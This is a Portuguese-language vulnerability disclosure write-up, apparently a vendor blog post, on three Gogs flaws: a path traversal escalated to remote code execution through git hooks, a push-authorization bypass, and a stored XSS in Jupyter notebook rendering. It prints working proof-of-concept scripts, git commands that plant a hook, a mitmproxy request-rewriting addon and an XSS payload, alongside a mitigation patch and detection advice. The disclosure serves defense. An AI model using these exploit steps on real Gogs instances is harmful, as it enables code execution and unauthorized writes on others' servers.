Gogs é uma plataforma de alojamento Git de código aberto, semelhante ao GitHub ou GitLab. A aplicação permite aos utilizadores gerir os seus próprios repositórios e organizações. Internamente, depende fortemente da git CLI.
Tem havido um longo histórico de RCEs no Gogs, sendo que a maioria demorou a ser corrigida e exigiu divulgação pública antes mesmo de ser lançada uma versão com correção oficial. Este caso foi diferente. Após alguns meses de silêncio, parece que os mantenedores voltaram a trabalhar na segurança do Gogs e todos os nossos relatórios foram corrigidos a partir da versão 0.14.3! Esperamos que esta tendência continue e acabe por colocar o Gogs num estado seguro. No entanto, ainda existe atualmente uma falha de contorno não corrigida de uma vulnerabilidade que reportámos e que os nossos agentes de pentest de IA encontramos. Fornecemos abaixo uma correção manual de código para a mesma.
Esta publicação centrar-se-á principalmente na vulnerabilidade de Execução Remota de Código (CVE-2026-52813), por ser a mais interessante do ponto de vista técnico. Mas também explicarei um erro de lógica para escrever em repositórios só de leitura (CVE-2026-52810), juntamente com uma vulnerabilidade XSS na biblioteca de renderização Jupyter que o Gogs estava a utilizar (GHSA-6vxv-wg6j-5qwp).
Vamos direto ao assunto!
Path traversal no nome da organização
Começaremos pela forma como descobrimos a vulnerabilidade que foi, em simultâneo, a mais impactante e tecnicamente interessante: CVE-2026-52813 (GHSA-c39w-43gm-34h5).
Com o Aikido Attack, fazemos muitos pentests de IA em projetos de código aberto, incluindo o Gogs. Eis parte de um relatório que recebemos de um dos nossos agentes de pentest:

Mencionava um path traversal no nome de utilizador da organização, apenas acessível através da API, para escrever para fora do diretório pretendido no resto do sistema de ficheiros.
Vamos aprofundar um pouco a causa raiz do que foi encontrado para compreender melhor o problema. A parte mais importante é esta função em repox.go:
func UserPath(user string) string {
return filepath.Join(conf.Repository.Root, strings.ToLower(user))
}
Determina onde são armazenados no sistema de ficheiros os repositórios de cada utilizador, unindo simplesmente o respetivo nome de utilizador ao diretório raiz de repositórios configurado. Unir caminhos sem higienização é sempre arriscado porque o sistema operativo suporta ../ sequências para sair de quaisquer diretórios, tal como faz esta .Join() em Go.
Felizmente para o Gogs, estes nomes de utilizador são higienizados durante o registo utilizando a AlphaDashDot vinculação que apenas permite letras, números e -_. carateres. Isto torna impossível registar um utilizador com ../ no seu nome:
type Register struct {
UserName string `binding:"Required;AlphaDashDot;MaxSize(35)"`
Email string `binding:"Required;Email;MaxSize(254)"`
Password string `binding:"Required;MaxSize(255)"`
Retype string
}
Mas usuários não são a única coisa a passar UserPath(). As organizações também não, e quando analisamos a sua definição, não vemos qualquer higienização desse tipo para o UserName campo:
type createOrgRequest struct {
UserName string `json:"username" binding:"Required"`
FullName string `json:"full_name"`
Description string `json:"description"`
Website string `json:"website"`
Location string `json:"location"`
}
Isto significa que podemos criar uma organização chamada ../../../../../tmp/test para fazer com que UserPath() devolva /path/to/root/ + ../../../../../tmp/test = /tmp/test. Quaisquer repositórios criados dentro da organização serão então escritos neste novo diretório fora da raiz.
Vamos testar na prática:
s = requests.Session()
# Get API token
r = s.post(f"{HOST}/api/v1/users/{USERNAME}/tokens",
auth=(USERNAME, PASSWORD),
json={"name": secrets.token_hex(12)}
)
r.raise_for_status()
sha1 = r.json().get("sha1")
s.headers.update({"Authorization": f"token {sha1}"})
# Create organization via API
org_name = "../../../../../tmp/test"
r = s.post(f"{HOST}/api/v1/user/orgs",
json={
"username": org_name,
"full_name": "path-traversal",
}
)
print(r.json()) # {'id': 4, 'username': '../../../../../tmp/test', 'full_name': 'deep', 'avatar_url': 'https://gogs.local/img/avatar_default.png', 'description': '', 'website': '', 'location': ''}
Agora que a organização está criada, podemos ver uma pasta dentro de /tmp chamada test/:
$ ls -l /tmp
total 4
drwxr-xr-x 2 git git 4096 Jun 8 09:32 test
Para preenchê-la, podemos agora criar um novo repositório na organização maliciosa:
r = s.post(
f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos",
json={
"name": "repo1",
"description": "poc",
"private": False,
"auto_init": True,
"readme": "Default",
}
)
print(r.json()) # {'id': 1, 'owner': ..., 'name': 'repo1', 'full_name': '../../../../../tmp/test/repo1', 'description': 'poc', 'private': False, ...}
Sucesso! Ao inspecionar novamente o sistema de ficheiros, verificamos que a pasta repo1.git foi criada na localização especificada:
$ ls -l /tmp/test/repo1.git
total 28
-rw-r--r-- 1 git git 23 Jun 8 09:41 HEAD
-rw-r--r-- 1 git git 66 Jun 8 09:41 config
-rw-r--r-- 1 git git 73 Jun 8 09:41 description
drwxr-xr-x 2 git git 4096 Jun 8 09:41 hooks
drwxr-xr-x 2 git git 4096 Jun 8 09:41 info
drwxr-xr-x 7 git git 4096 Jun 8 09:41 objects
drwxr-xr-x 4 git git 4096 Jun 8 09:41 refsIsto prova que temos algum tipo de path traversal a funcionar. Embora tenhamos inicializado o repositório com um README, este não está visível aqui no sistema de ficheiros. Isto acontece porque o que está aqui armazenado é um repositório bare. Um com apenas os ficheiros de metadados do git, sem nenhuma "worktree". O Gogs não precisa dos ficheiros reais durante as suas operações normais. Consegue obter todos os dados comprimidos objects e a estrutura neste repositório bare.
Escrever ficheiros arbitrários utilizando o conteúdo do repositório git seria uma primitiva muito poderosa. Parece que temos um path traversal muito fraco, onde apenas conseguimos criar esta estrutura específica de metadados do git...
Um caso limite é a edição de ficheiros na interface do Gogs. Isto seria inviável de fazer apenas com operações do git, pelo que o Gogs cria temporariamente uma worktree real localmente em /data/gogs/data/tmp/local-r/ com um ID incremental (2):
$ find / -name README.md 2>/dev/null
/data/gogs/data/tmp/local-r/2/README.md
Finalmente encontrámos o nosso README.md ficheiro criado aqui. Infelizmente, este caminho já não contém o nosso nome de utilizador, pelo que não conseguimos explorar a nossa vulnerabilidade de path traversal para escrever ficheiros arbitrários. Podemos:
- Escrever repositórios bare (apenas metadados do Git) em qualquer lugar através de path traversal
- Criar worktrees (com ficheiros reais) apenas num caminho seguro específico
Será isto suficiente para causar danos numa configuração predefinida do Gogs? Conseguiríamos obter RCE apenas com esta escrita de ficheiros limitada?
RCE utilizando git config em repositórios aninhados
Foi aqui que assumimos manualmente a investigação, tentando escalar a descoberta de path traversal do agente para uma Execução Remota de Código completa.
Estamos um pouco limitados quanto ao que esta vulnerabilidade consegue fazer. Não conseguimos substituir ficheiros existentes em localizações arbitrárias, porque não controlamos os nomes dos ficheiros nos metadados do git. Apenas conseguimos criar esse repositório bare numa localização arbitrária.
A título de contexto, o Git tem "Hooks" que são scripts configurados no .git/hooks pasta que é executada sempre que determinadas operações Git ocorrem. Por exemplo, pre-commit é executado imediatamente antes de fazer um commit. Ou no lado do servidor update, que é executado sempre que um push é recebido de um cliente.
Se um atacante conseguir escrever em qualquer um destes caminhos de hooks, é quase garantido que resultará em RCE, uma vez que a próxima operação Git irá acionar a execução do script. Vamos direcionar isto para executar comandos de sistema arbitrários.
Sabemos que não podemos substituir um .git/hooks ficheiro de outro repositório com este path traversal. Mas pensando melhor, e se fizermos o inverso?
Podemos criar um worktree normal e, em seguida, colocar o nosso repositório bare dentro dele através da vulnerabilidade de path traversal. Depois, podemos editar o ficheiro hooks/update do repositório bare a partir do worktree do repositório normal. Quando fizermos o push para ele, o hook é acionado e conseguimos alcançar RCE. Vamos tentar na prática.
Primeiro, crie um repositório simples com o qual iremos editar ficheiros mais tarde. Por enquanto, criará apenas um diretório no sistema de ficheiros em /data/git/repositories/developer/editor.git (metadados), e ainda não em /data/gogs/data/tmp/local-r/1/ (worktree). Sabemos que para criar este worktree, podemos simplesmente adicionar qualquer ficheiro através da IU do Gogs.

Após fazê-lo, o worktree é criado no ID do repositório (obtido por /api/v1/repos/:owner/:repo).
$ ls -la /data/gogs/data/tmp/local-r/1
drwxr-xr-x 7 git git 4096 Jun 9 08:53 .git
-rw-r--r-- 1 git git 10 Jun 9 08:53 README.md
-rw------- 1 git git 5 Jun 9 08:53 dummy
O passo seguinte é escrever o nosso path traversal organization nesta pasta editável. Vamos criar um com o nome ../../gogs/data/tmp/local-r/1 para cair na pasta. Em seguida, crie um repositório sob o mesmo.
org_name = "../../gogs/data/tmp/local-r/1"
r = s.post(f"{HOST}/api/v1/user/orgs", ...)
r = s.post(f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos", ...)Após fazê-lo, o traversal repositório criado aparece na worktree:
$ ls -la
drwxr-xr-x 7 git git 4096 Jun 9 08:53 .git
-rw-r--r-- 1 git git 10 Jun 9 08:53 README.md
-rw------- 1 git git 5 Jun 9 08:53 dummy
drwxr-xr-x 6 git git 4096 Jun 9 11:45 traversal.git
$ cat traversal.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = trueSe recarregarmos a developer/editor página no Gogs agora, ainda não a conseguimos ver, porque o sistema de ficheiros ainda não está sincronizado com a interface. Para o fazer, vamos criar outro ficheiro fictício. Em seguida, ele aparece e podemos inclusivamente explorar os respetivos ficheiros:

Parece que agora podemos simplesmente editar o hooks/update ficheiro para que se torne malicioso, mas quando tentamos fazê-lo, o Gogs devolve o seguinte erro no frontend:
Falha ao atualizar/criar o ficheiro 'traversal.git/hooks/update' com o erro: internal server errorNos registos do backend, vemos:
[ERROR] [...gs/internal/route/repo/editor.go:280 editFilePost()] Failed to update repo file: bad tree path "traversal.git/hooks/update"Infelizmente, existe uma verificação implementada para detetar se algum caminho que editamos contém .git/, e o nosso traversal.git/hooks/update caminho certamente que contém.
func (r *Repository) UpdateRepoFile(doer *User, opts UpdateRepoFileOptions) error {
// 🚨 SECURITY: Prevent uploading files into the ".git" directory.
if isRepositoryGitPath(opts.NewTreeName) {
return errors.Errorf("bad tree path %q", opts.NewTreeName)
}
...
}
func isRepositoryGitPath(path string) bool {
path = strings.ToLower(path)
return strings.HasSuffix(path, ".git") ||
strings.Contains(path, ".git/") ||
strings.Contains(path, `.git\`) ||
// Windows treats ".git." the same as ".git"
strings.HasSuffix(path, ".git.") ||
strings.Contains(path, ".git./") ||
strings.Contains(path, `.git.\`)
}
Portanto, o editor da interface não permite editar o nosso repositório aninhado. Mas e quanto a um push nativo do Git?
$ git clone https://gogs.local/developer/editor.git && cd editor
$ echo 'id>/tmp/pwned' >> traversal.git/hooks/update
$ git add .
$ git commit -m "atualização do hook"
$ git push
Nome de utilizador para «https://gogs.local»: developer
Palavra-passe para «https://developer@gogs.local»:
Para https://gogs.local/developer/editor.git
8c7f89f..fe4cc1b master -> master
Funciona na perfeição! A verificação é mais flexível, na medida em que o nome de um segmento de percurso tem de ser exatamente igual a .git. Temos a sorte de o nome do repositório, sem nada à frente, ser traversal.git e não .git, uma vez que o método Git ainda permite esse nome.
Carregue novamente outro ficheiro de teste para atualizar a árvore de trabalho e já podemos ver o ficheiro atualizado!

Agora só falta fazer o push para o repositório bare. Precisamos de fazer isto no repositório sob a ../../ organização, o que é um pouco pouco prático na interface de utilizador (UI). Mas, através da API, podemos simplesmente codificar o caminho em URL e acedê-lo sem problemas. Vamos acionar outro carregamento de ficheiro para que este efetue internamente um commit numa segunda árvore de trabalho (worktree) e, em seguida, faça o push para o repositório bare (ambos no mesmo sistema de ficheiros, é assim que o Git funciona e como o Gogs gere internamente os seus repositórios).
r = s.put(
f"{HOST}/api/v1/repos/{org_enc}/traversal/contents/dummy4",
json={
"message": "trigger update hook",
"content": base64.b64encode(b"dummy4").decode(),
"branch": "master",
}
)
print(r.json()) # {'commit': {'url': 'http://4.245.3.4:13000/api/v1/repos/../../gogs/data/tmp/local-r/1/traversal/contents/dummy4', ...}, ...}
Após este commit para o traversal repositório, é feito o push para \/data\/gogs\/data\/tmp\/local-r\/1\/traversal.git, o que aciona traversal.git/hooks/update. Sobrescrevemo-lo para ser executado id > \/tmp\/pwned posteriormente e, quando verificamos este caminho, encontramos sem dúvida o resultado de id:
$ cat \/tmp\/pwned\nuid=1000(git) gid=101(git) groups=101(git)\nConseguimos obter com sucesso a Execução Remota de Código (RCE) no Gogs como o git utilizador!
Bypass da autorização de push utilizando a confusão do receive-pack
Voltando a um tipo de vulnerabilidade totalmente diferente: CVE-2026-52810 (GHSA-wmfg-5p4h-5fw3). Em vez de injeções complicadas, trata-se de um simples erro de lógica, mas difícil de detetar manualmente. Tudo acontece dentro do protocolo HTTP do Git, que o Gogs implementa para operações como git push para um repositório.
Nas "Inteligente" protocolo, existem dois serviços: git-upload-pack (pedir ao servidor para carregar para si = pull) e git-receive-pack (o servidor recebe novos dados seus = push).
Estas duas operações têm permissões diferentes associadas. Só deve conseguir push se tiver Escrita , mas para uma simples pull, Leitura é suficiente. O Gogs implementa isto numa espécie de middleware para toda a lógica Git HTTP:
func HTTPContexter(store Store) macaron.Handler {
...
isPull := c.Query("service") == "git-upload-pack" ||
strings.HasSuffix(c.Req.URL.Path, "git-upload-pack") ||
c.Req.Method == "GET"
...
mode := database.AccessModeWrite
if isPull {
mode = database.AccessModeRead
}
O pedido é tratado como um pull (leitura) se o serviço parâmetro de consulta ou o caminho final for git-upload-pack.
O Gogs define então os handlers para as ações específicas:
{lazyregexp.New("(.*?)/git-upload-pack$"), "POST", serviceUploadPack},
{lazyregexp.New("(.*?)/git-receive-pack$"), "POST", serviceReceivePack},
Notavelmente, não há menção de um serviço parâmetro de consulta aqui. Após validar a autorização com uma simples verificação de string no caminho, analisa o caminho novamente utilizando as RegExes acima. Isto pode facilmente levar a discrepâncias em que a autorização o vê como um Leitura pedido, enquanto o handler correspondente é um Escrita endpoint.
O serviço o parâmetro de consulta destinava-se a /refs/info, mas foi ativado globalmente para autorização. Isto significa que podemos pedir um caminho de /git-receive-pack com um parâmetro ignorado de service=git-upload-pack. O Gogs ficará confuso e pensará que, devido ao parâmetro, este tem de ser um leitura pedido. Mas quando chega ao handler, o endpoint de escrita é acionado!
Na verdade, explorar isto parece um pouco complicado, porque o protocolo para enviar commits é altamente personalizado pelo Git. No entanto, podemos simplesmente criar um pequeno proxy que reescreve /git-receive-pack para /git-receive-pack?service=git-upload-pack para contornar a verificação:
from urllib.parse import parse_qsl, urlencode, urlsplit, urlunsplit
from mitmproxy import ctx, http
def request(flow: http.HTTPFlow) -> None:
u = urlsplit(flow.request.pretty_url)
if not u.path.endswith("/git-receive-pack"):
return
params = parse_qsl(u.query, keep_blank_values=True)
params.append(("service", "git-upload-pack"))
query = urlencode(params)
flow.request.url = urlunsplit((u.scheme, u.netloc, u.path, query, ""))
ctx.log.info(f"[poc] rewrite receive-pack -> {u.path}?{query}")
Este script é compatível com mitmproxy. Depois de o executar, podemos definir as http_proxy e https_proxy variáveis de ambiente noutro terminal antes de executar git comandos. O Git encaminhará todas as suas chamadas de rede através do nosso script, que reescreve o /git-receive-pack para acrescentar o service=git-upload-pack parâmetro de consulta.
Vamos tentar criar um repositório numa conta, cloná-lo e fazer o push com o proxy ativo:
$ mitmdump -s mitmproxy_addon.py -p 1337
$ export http_proxy=http://127.0.0.1:1337
$ export https_proxy=http://127.0.0.1:1337
$ git clone https://gogs.local/victim/target.git && cd target
$ echo POC > poc
$ git add .
$ git commit -m poc
$ git push
error: RPC failed; HTTP 500 curl 22 The requested URL returned error: 500
send-pack: unexpected disconnect while reading sideband packet
fatal: the remote end hung up unexpectedly
500? Ao verificar os registos do backend, deparámo-nos com uma referência a um ponteiro nulo?!
[Macaron] PANIC: erro de execução: endereço de memória inválido ou referência a um ponteiro nulo
runtime/panic.go:336 (0x492697)
runtime/signal_unix.go:931 (0x492665)
gogs.io/gogs/internal/database/repo_editor.go:67 (0x1286642)
gogs.io/gogs/internal/route/repo/http.go:257 (0x142e5e5)
gogs.io/gogs/internal/route/repo/http.go:282 (0x142ed44)
gogs.io/gogs/internal/route/repo/http.go:425 (0x142fbae)
nenhum no Go é apenas a sua versão de nulo. Se tentares ler uma propriedade de um objeto que esteja nenhum, ocorre uma «desreferência de ponteiro nulo». Se seguirmos o código em internal/database/repo_editor.go:67, vemos que:
EnvAuthUserID + "=" + strconv.FormatInt(opts.AuthUser.ID, 10),
Parece que o nosso AuthUser não estava configurado. Mais acima na cadeia de chamadas, supostamente deveríamos obtê-lo a partir do final de HTTPContexter():
func HTTPContexter(store Store) macaron.Handler {
...
c.Map(&HTTPContext{
Context: c,
OwnerName: ownerName,
OwnerSalt: owner.Salt,
RepoID: repo.ID,
RepoName: repoName,
AuthUser: authUser,
})
Mas devido ao nosso bypass, isPull é true, e este retorno antecipado é acionado primeiro:
func HTTPContexter(store Store) macaron.Handler {
...
// Authentication is not required for pulling from public repositories.
if isPull && !repo.IsPrivate && !conf.Auth.RequireSigninView {
c.Map(&HTTPContext{
Context: c,
})
return
}
Por causa disso, AuthUser não está definido e, quando tenta ser utilizado por receive-pack, ocorre um empastelamento (crash). Felizmente, encontramos algumas formas fáceis de contornar isto diretamente no código-fonte:
- Se
repo.IsPrivate, a condição é ignorada - Se
conf.Auth.RequireSigninViewestiver ativado, a condição é ignorada
Portanto, o exploit só funciona para repositórios que não são publicamente legíveis. Se a configuração global RequireSigninView estiver definida, toda a instância fica vulnerável. Para facilitar os testes, vamos apenas criar um repositório privado e convidar o atacante como colaborador com acesso de leitura:

Ao tentar novamente o PoC, verificamos que o atacante consegue agora escrever com sucesso no repositório:
$ git push
Username for 'https://gogs.local': attacker
Password for 'https://developer@gogs.local':
...
Writing objects: 100% (3/3), 507 bytes | 507.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
To https://gogs.local/victim/target.git
62ef1eb..cb13c59 master -> master
A alteração também se reflete na interface de utilizador (UI):

Com esta vulnerabilidade, um atacante pode escrever em qualquer repositório para o qual seja necessário iniciar sessão para leitura. Se estiver ligado a CI/CD, poderá desencadear implementações maliciosas e, de um modo geral, ocultar malware.
Por corrigir
Esta vulnerabilidade foi resolvida em #8331 ao validar quais rotas se destinam à receção versus carregamento. No entanto, esta correção está incompleta porque a verificação de /git-receive-pack não corresponde a /git-RECEIVE-pack (em maiúsculas), enquanto o router mais tarde é insensível a maiúsculas/minúsculas. Reportámos a falha de segurança ao maintainer, mas ainda não tínhamos recebido resposta à data de publicação desta publicação.
Aplique o seguinte patch de código-fonte e recompile o Gogs para mitigar esta vulnerabilidade:
--- a/internal/route/repo/http.go
+++ b/internal/route/repo/http.go
@@ -62,8 +62,10 @@ func gitHTTPActionFromPath(urlPath, subpath, owner, repo string) string {
}
func gitHTTPIsPull(c *macaron.Context, action string) bool {
+ action = strings.ToLower(action)
if action == "info/refs" {
- return c.Query("service") != "git-receive-pack"
+ return !strings.EqualFold(c.Query("service"), "git-receive-pack")
}
return action != "git-receive-pack"
}
XSS armazenado em ficheiros .ipynb
Por fim, tratou-se de um exploit simples, mas com uma razão interessante: GHSA-6vxv-wg6j-5qwp (ainda sem CVE). Se se limitasse a ler o código, pensaria que estaria devidamente sanitizado!
A maioria das interfaces de utilizador do Git tem métodos de visualização personalizados para alguns ficheiros específicos, incluindo Jupyter Notebooks (.ipynb ficheiros). Destinam-se a ser montras interativas de entradas e saídas de código Python com descrições em Markdown incorporadas.

Poderá perguntar-se como é que estão a fazer a renderização?
A resposta: Uma versão extremamente desatualizada de notebookjs (0.4.2, sendo a mais recente a 0.8.0).
Quase sempre que se fala em Markdown, fala-se em HTML. O conteúdo HTML bruto faz inclusivamente parte da especificação CommonMark, pelo que muitos motores de renderização o implementam sem hesitar. O problema para o Gogs é que o input não fidedigno (o conteúdo do ficheiro de qualquer utilizador) flui para este motor de renderização.
No código-fonte, parece que está a ser efetuada alguma sanitização do lado do Gogs:
$.getJSON("/siteadmin/ipynb/raw/master/test.ipynb", null, function(notebook_json) {
var notebook = nb.parse(notebook_json);
var rendered = notebook.render();
$.ajax({
type: "POST",
url: '/-/api/sanitize_ipynb',
data: rendered.outerHTML,
processData: false,
contentType: false,
}).done(function(data) {
$("#ipython-notebook").append(data);
...
O backend utiliza bluemonday, uma biblioteca de sanitização conceituada para limpar o output do notebookjs antes de acrescentar os dados ao DOM. Assim, um payload como <u>te<script>1</script>st</u> transforma-se em <u>test</u>. Isto é seguro.
No entanto, podemos detetar um problema na própria biblioteca notebookjs. Durante a transformação de Markdown para HTML para células Markdown, cria um elemento temporário e atribui-lhe .innerHTML :
var el = makeElement("div", ["cell", "markdown-cell"]);
el.innerHTML = nb.markdown(joinText(this.raw.source))
Apesar de estar não adicionado ao DOM, a própria atribuição a qualquer variável temporária de JavaScript é suficiente para acionar eventos no elemento. No caso do elemento <img> , por exemplo, o respetivo src= já está carregado e pode falhar, acionando onerror=. Tudo isto no próprio notebookjs.
Por esse motivo, uma payload como a seguinte funcionará independentemente do que o Gogs fizer com o resultado:
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"<img src onerror=alert(origin)>"
]
}
],
"metadata": {},
"nbformat": 4,
"nbformat_minor": 2
}
Visualizar o ficheiro .ipynb agora aciona XSS durante a composição:

O atacante pode colocar esses ficheiros em vários sítios, como nos seus próprios repositórios, em Pull Requests que são compostas ao clicar em View file, ou simplesmente enviando a qualquer outro utilizador um link direto para o ficheiro com a payload.
Detecção
Para verificar se é afetado pela Execução Remota de Código (CVE-2026-52813), veja se a sua versão do Gogs é a 0.14.2 ou inferior. O Aikido deteta esta versão na sua organização com um alerta "crítico":

A ultrapassagem da autorização de push (CVE-2026-52810) não tem nenhuma versão oficialmente corrigida. Todas as versões se encontram atualmente vulneráveis. O Aikido deteta instâncias do Gogs com um alerta "alto":

Conclusão
Como já foi partilhado várias vezes, integrar o Git numa aplicação continua a ser, muitas vezes, uma tarefa ambiciosa de realizar em segurança. O sistema traz consigo tantos obstáculos no sistema de ficheiros que os atacantes podem explorar. Pior ainda, o impacto é frequentemente crítico. É por isso que é crucial testar exaustivamente essas aplicações através da realização de pentests.
Se demorar muito tempo a corrigir as vulnerabilidades após serem detetadas, isto deixa um período significativo em que se sabe que a aplicação é explorável. Na era da IA, toda a gente está a encontrar vulnerabilidades. Os programadores têm a tarefa de lançar correções mais rapidamente do que antes, pelo que precisamos de nos habituar a acelerar esta parte também com ferramentas como Aikido Autofix.
Depois, pode inclusivamente validar as correções de forma autónoma com pentest de IA e continuar a disponibilizar funcionalidades e melhorias que as pessoas realmente querem.
Atualmente, o Gogs não está a ser mantido ativamente, pelo que são prováveis vulnerabilidades ativas. Recomendamos a utilização de uma solução git autoalojada diferente por enquanto, até que a situação se estabilize.



